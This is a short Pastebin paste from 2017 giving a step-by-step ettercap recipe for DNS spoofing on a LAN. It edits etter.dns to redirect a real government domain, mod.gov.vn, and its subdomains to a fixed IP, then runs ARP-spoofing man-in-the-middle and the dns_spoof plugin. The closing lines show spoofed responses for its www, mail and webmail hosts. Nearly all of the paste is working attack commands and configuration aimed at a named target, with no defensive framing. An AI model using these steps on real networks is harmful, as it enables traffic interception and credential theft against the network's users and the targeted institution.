Advertisement
GR1Mr3ap3r

Untitled

Feb 27th, 2017
215
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.92 KB | None | 0 0
  1. DNS Spoofing from a LAN
  2. 1) Locate the etter.dns file to be edited
  3. locate etter.dns
  4. /etc/ettercap/etter.dns
  5. you would need to edit this file
  6. nano /etc/ettercap/etter.dns
  7.  
  8. 2)modify accordingly
  9. below the line microsoft sucks
  10.  
  11. ######################################
  12. mod.gov.vn A 31.192.120.36
  13. *.mod.gov.vn A 31.192.120.36
  14. www.mod.gov.vn PTR 31.192.120.36
  15. #######################################
  16. ctrl X
  17. Y
  18. enter
  19.  
  20. ettercap -G
  21. sniff > unified sniffing
  22.  
  23. host > scan for host
  24.  
  25. start > sniffing
  26. MITM > ARP spoofing > sniff all remote connection
  27. Plugin> manage Plugin > dns_spoof
  28. shift C
  29.  
  30. GROUP 2 : ANY (all the hosts in the list)
  31. Activating dns_spoof plugin...
  32. dns_spoof: A [www.mod.gov.vn] spoofed to [31.192.120.36]
  33. dns_spoof: A [mail.mod.gov.vn] spoofed to [31.192.120.36]
  34. dns_spoof: A [webmail.mod.gov.vn] spoofed to [31.192.120.36]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement